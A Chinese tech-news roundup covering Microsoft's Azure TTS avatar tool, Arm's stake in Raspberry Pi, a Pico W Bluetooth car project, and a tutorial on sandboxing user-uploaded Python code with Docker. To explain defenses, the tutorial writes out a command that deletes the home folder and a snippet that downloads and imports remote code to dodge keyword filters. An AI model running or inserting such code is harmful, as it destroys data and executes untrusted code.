微软公布 Text To Speech Avatar AI工具,可制作虚拟3D数字人

微软在 Ignite 大会中,为 Azure AI Speech 推出了一项名为“Azure AI Speech text to speech (TTS) avatar”的 AI 工具,号称可以生成人类逼真虚拟化身(数字人),目前这款工具已经开放给大众预览试用。

微软表示,用户使用 Azure AI Speech text to speech (TTS) avatar,可以建立基于“输入文字说出内容”的虚拟化身,并结合现实人物照片训练,建立以真实人物为基础的“互动式聊天机器人”,可用于企业的营销、业务或客户服务等场景。

据悉,这项 Azure AI Speech text to speech (TTS) avatar 主要包含三个模块,分别是文字分析器、TTS 声音合成器及 TTS 虚拟化身合成器:

文字分析器会先分析用户输入的文字内容,产生音素序列(phoneme sequence)。接着 TTS 声音合成器中的 TTS 语音模型会预测用户输入文字的声学特征,再合成声音。最后,由神经网络声音合成模型 Avatar,根据上述声学特征预测人物的唇形影像,最终形成虚拟化身影像。

微软解释,传统虚拟化身制作费时耗工,需要建立专用拍摄环境、而拍摄剪辑后期过程也相当花成本。而当下运用微软最新的 Azure AI Speech text to speech (TTS) avatar 服务,在初次建立模型后,用户只要输入文字就可以制作各种产品介绍、互动视频等。配合微软 Azure OpenAI Service 及神经网络 TTS 功能,还能呈现更自然的互动体验。

微软举例声称,用户可利用 Azure AI Speech TTS avatar 批量制作各种视频内容,例如企业文化影片、产品介绍或 CEO 在大会上的数字分身。也可以制作虚拟直播数字人、聊天机器人、业务机器人、或线上教学的 AI 老师等。

微软表示,Azure AI Speech text to speech (TTS) avatar 目前已经向 Azure 订阅用户推出,支持各种语言,用户可以从预设的虚拟化身选项中挑选想要的角色,也可以自行定制虚拟化身。

如果用户想要自行定制虚拟化身,则需要上传一批人物视频片段,Azure 平台就会在线上处理这些视频,从而生成虚拟化身。角色本身与音源分开,用户可以选择官方提供的默认音源,也可以自行上传训练音源。

树莓派获得Arm的战略投资,进一步加强长期合作伙伴关系

Arm控股有限公司和树莓派近日宣布达成一项协议,由Arm对树莓派进行战略投资,收购树莓派的少量股权,进一步加强两家公司的长期合作伙伴关系,为物联网(IoT)开发社区提供关键解决方案。

随着业界对边缘计算的需求加速,对物联网和人工智能应用的要求越来越高,树莓派为全球各地的企业与个人提供了低成本、高性能的产品和解决方案。

预计这项投资案将进一步巩固双方自 2008 年开启的伙伴关系,让树莓派可以为学生、技术爱好者与商业开发人员推出更多受欢迎的 Arm 架构产品。

比如2023年10月底上市的树莓派旗舰 Raspberry Pi 5,就是基于Arm架构,目前最先进的一款树莓派产品。

Arm物联网业务线高级副总裁兼总经理Paul Williamson表示:“Arm和树莓派有一个共同的愿景,即:通过降低创新门槛,使所有人都获得计算能力。让任何地方的任何人都可以学习、体验和创造新的物联网解决方案。 基于 Arm 架构,开发人员能够更快、更轻松地进行创新,这对于推动全球高性能物联网设备的应用至关重要。这项战略投资进一步证明了我们对开发者社区以及树莓派伙伴关系的持续承诺。”

树莓派首席执行官Eben Upton表示:“Arm技术一直是我们平台的核心,这项投资也是我们长期合作伙伴关系的一个重要里程碑。我们将继续为每一位玩家降低门槛,不管是学生和技术爱好者,还是大规模部署商业系统的专业开发人员。采用 Arm 技术作为当前和未来产品的基础,将使我们能够获得所需的计算性能、能效和广泛的软件生态系统,”

相关链接:

https://newsroom.arm.com/news/raspberry-pi-investment

用树莓派Pico W做蓝牙遥控车

不然树莓派Pico W刚放出来那会,官方只对Wi-Fi做了支持,并未启用蓝牙功能。但这个小片片上有英飞凌的CYW43439无线模块,蓝牙、Wi-Fi都支持的。

经过漫长的等待,2023年6月,官方终于腾出手让这小片片功能全部释放。

你现在不需要再外接HC-05等其它模块,只需要原来的一片Pico W,就可以通过C语言或MicroPython来启用蓝牙了。

蓝牙在嵌入式领域有多重要,多好使,估计物联网和应用电子的从业者能跟你讲半天。

这次就让Kevin McAleer这位树莓派Pico W老粉,用MicroPython编程来给大家实践一下。

从蓝牙基础,一直跟你讲到蓝牙控制小车。深入浅出,精打实招。

https://mp.weixin.qq.com/s/EZic0V6Uba93gPiqRdGTBg

相关代码:

https://github.com/IoToutpost/pico_ble_remote

如何安全运行别人上传的Python代码?

作者:kingname

写后端的同学,有时候需要在网站上实现一个功能,让用户上传或者编写自己的Python代码。后端再运行这些代码。

涉及到用户自己上传代码,我们第一个想到的问题,就是如何避免用户编写危险命令。如果用户的代码里面涉及到下面两行,在不做任何安全过滤的情况下,就会导致服务器的Home文件夹被清空。

import os
os.system('rm -rf ~/*')

有人想的比较简单,直接判断用户的代码里面有没有os.system、exec、subprocess……这些危险关键词不就可以了吗?

    这种想法乍看起来没有问题,但细想下,就会发现非常天真。如果用户的代码像下面这样写,你又要如何应对?

    import requests
    code = requests.get('https://www.kingname.info/dangerous_code').text
    with open('dangerous_code.py', 'w') as f:
    f.write(code)
    dangerous_module = import('dangerous_code')
    danderous_module.delete_all()

    其中https://www.kingname.info/dangerous_code对应的代码如下:

    import os
    def delete_all():
        os.system('rm -rf ~/*')

      这样就可以绕过关键字检查,并成功删除你的文件了。

      如果你的网站本身就是一个爬虫管理平台,你检查用户自定义的代码时,肯定不能过滤掉requests这种网络请求库。那么你就很难判断用户下载下来的东西是否包含恶意代码。

      而且恶意代码不一定是删除你的东西,它完全可以直接把你项目下面的所有代码打包,上传到它指定的URL中,这样就能窃取你网站里面所有代码。

      为了避免这样的情况发生,我们就必须找一个干净又独立的环境来运行用户的代码。干净的环境能确保恶意代码没有东西可以偷,独立的环境能确保他即使删除了所有文件,也不会影响到你。

      显然,最简单直接的办法,就是使用Docker来运行用户的代码。而使用Docker并不一定需要在终端使用Shell命令。我们可以使用Docker的Python SDK来实现构建镜像和运行镜像。

      首先,确保你的服务器上面已经有Docker,并且正在运行。

      接下来,安装Docker SDK:

      pip install docker

      假设,你把用户上传的文件放在了user/<user_id>/upload文件夹下面。

      那么,首先你需要生成一个Dockerfile,并把这个Dockerfile放到upload文件夹中:

      from python:3.10
      
      run pip install -r requirements.txt
      copy . /app
      workdir /app

      当用户添加/修改了第三方库时,你只需要更新requirements.txt即可让镜像里面的依赖符合用户的需求。

      接下来,我们开始构建镜像并运行代码:

      import docker
      client = docker.from_env()
      
      client.images.build(path='user/<user_id>/upload', tag='xxxspider:0.01') # tag后面的名字可以自定义
      
      container = client.containers.run('xxxspider:0.01', detach=True, command='scrapy crawl xxx', 其他参数)

      这个代码运行以后是非阻塞的,会立刻返回container对象。当你想查看代码日志时,执行:

      container.logs(tail=10) # 显示最后10行日志

      就可以看到相关的日志了。

      关于Docker SDK的更多操作,可以看他的官方文档:Docker SDK for Python — Docker SDK for Python 6.1.3 documentation[1]

      参考资料

      [1]Docker SDK for Python — Docker SDK for Python 6.1.3 documentation: https://docker-py.readthedocs.io/en/stable/index.html#docker-sdk-for-python